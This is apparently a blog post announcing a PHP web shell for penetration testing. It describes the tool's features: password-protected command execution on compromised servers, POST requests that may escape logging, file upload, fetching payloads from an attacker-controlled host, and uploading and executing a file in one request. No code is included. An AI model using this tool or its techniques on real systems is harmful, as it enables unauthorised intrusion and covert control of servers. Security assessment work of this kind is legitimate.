<li>They often only display standard output content, throwing away stderr.</li>
<li>They poorly handle special characters in output display (such as <code><</code>).</li>
<li>They do not allow file upload, or offer a method unsupported/blocked by the
target’s settings.</li>
<li>They require manual modification depending whether the target is running
a <span class="caps">UNIX</span>-like or a Windows system.</li>
</ul>
<p>Here is my attempt to solve these issues. As opposed to some other solutions,
this one does not even barely aim to become a <em>“full-featured
post-exploitation framework”</em>. It’s only goal is to provide a stable and
reliable way to get a foot in the door on the target by …</p><p>I frequently encountered issues when using other web shells:</p>
<ul>
<li>They use new <span class="caps">PHP</span> syntax features not compatible with the old <span class="caps">PHP</span> version
running on some targets.</li>
<li>They make wrong assumption on the remote <span class="caps">URL</span>, breaking <span class="caps">PHP</span> code injection or
<span class="caps">GET</span> parameters (un)expected by the server.</li>
<li>They often only display standard output content, throwing away stderr.</li>
<li>They poorly handle special characters in output display (such as <code><</code>).</li>
<li>They do not allow file upload, or offer a method unsupported/blocked by the
target’s settings.</li>
<li>They require manual modification depending whether the target is running
a <span class="caps">UNIX</span>-like or a Windows system.</li>
</ul>
<p>Here is my attempt to solve these issues. As opposed to some other solutions,
this one does not even barely aim to become a <em>“full-featured
post-exploitation framework”</em>. It’s only goal is to provide a stable and
reliable way to get a foot in the door on the target by adhering to the <span class="caps">KISS</span>
principle as much as possible and staying generic enough to let you build what
you want from there without getting in your way.</p>
<p><span class="lb-small"><a href="#screenshot.png" id="screenshot.png-thumb" title="Click to enlarge"><img alt="WhiteWinterWolf's PHP web shell screenshot" src="https://www.whitewinterwolf.com/posts/2017/01/21/wwwolfs-php-webshell-is-now-available/screenshot.png"/></a></span></p>
<p><em>WhiteWinterWolf’s <span class="caps">PHP</span> web shell</em>:</p>
<ul>
<li>Access can be <strong>password protected</strong>.</li>
<li>Is compatible with both <strong><span class="caps">UNIX</span>-like and Windows systems with no modification</strong>.</li>
<li>Attempts to clear <span class="caps">PHP</span> output buffer (ie. drop any “garbage” code already
produced by the attacked application) and enforce <span class="caps">PHP</span> code execution
termination to provide the most <strong>clean and stable behavior</strong>.</li>
<li>The form is <strong>submitted as a <span class="caps">POST</span> requests</strong> keeping the exact same <span class="caps">URL</span> (including
the exact same <span class="caps">GET</span> parameters, nothing added or removed) which has been used
to access it in the first place. <strong>No assumption is made</strong>, making it suitable
for twisted code injection techniques. Moreover the remote server may not
log <span class="caps">POST</span> data, and thus may not log the actual commands execute on the target.</li>
<li><strong>Sensible default values</strong> are applied:</li>
<li>The current working directory is set to the actual current working
directory. This has the added advantage of easily telling you the remote
system-type (<code>/var/www/html</code> vs. <code>C:\Inetpub\wwwroot</code>).</li>
<li>The fetch source host is set to your <span class="caps">IP</span> address as seen from the targeted server.</li>
<li>You can freely <strong>set the working directory</strong> and the value is kept among commands.
A specific warning message is displayed in case <span class="caps">PHP</span>’s <code>open_basedir</code> setting
may limit your ability to move throughout the server.</li>
<li>There is <strong>two different ways to upload files</strong> to your targets:</li>
<li>A classical upload form if the remote <span class="caps">PHP</span> settings allows it.</li>
<li>Fetch the file from a given host and <span class="caps">URL</span> (usually a host controlled by the
attacker). This feature implement a <em>very</em> basic <span class="caps">HTTP</span> fetch functionality
allowing to circumvent <span class="caps">PHP</span>’s <code>url_allow_fopen</code> setting limitation. It does
not handle fancy things like <span class="caps">HTTP</span> redirection or authentication, but <em>may</em>
still handle <span class="caps">SSL</span>/<span class="caps">TLS</span> by prepending the hostname accordingly
(<code>tls://203.0.113.37</code>).</li>
<li>A link <code>Clear cmd</code> allows to <strong>clear and set the focus on the command input
form field in a single click</strong>. I find it convenient to quickly execute a few
arbitrary commands on the server but this feature relies on JavaScript. If
you want to avoid JavaScript you can remove this single-line, this will not
affect the rest of the web shell which does not use JavaScript anywhere else.</li>
</ul>
<p>This script applies the form settings in the given order:</p>
<ol>
<li>Current working directory.</li>
<li>Files to upload.</li>
<li>Command to execute.</li>
</ol>
<p>This allows to upload a file in a given directory and immediately execute it in
a single <span class="caps">HTTP</span> request.</p>
<p>More information can be found on the <a href="https://www.whitewinterwolf.com/tags/php-webshell/" title="wwwolf's PHP webshell project page">main project page</a>.</p>
<p>This script is provided only for security research and assessment purposes.
Do not use it for anything illegal!</p>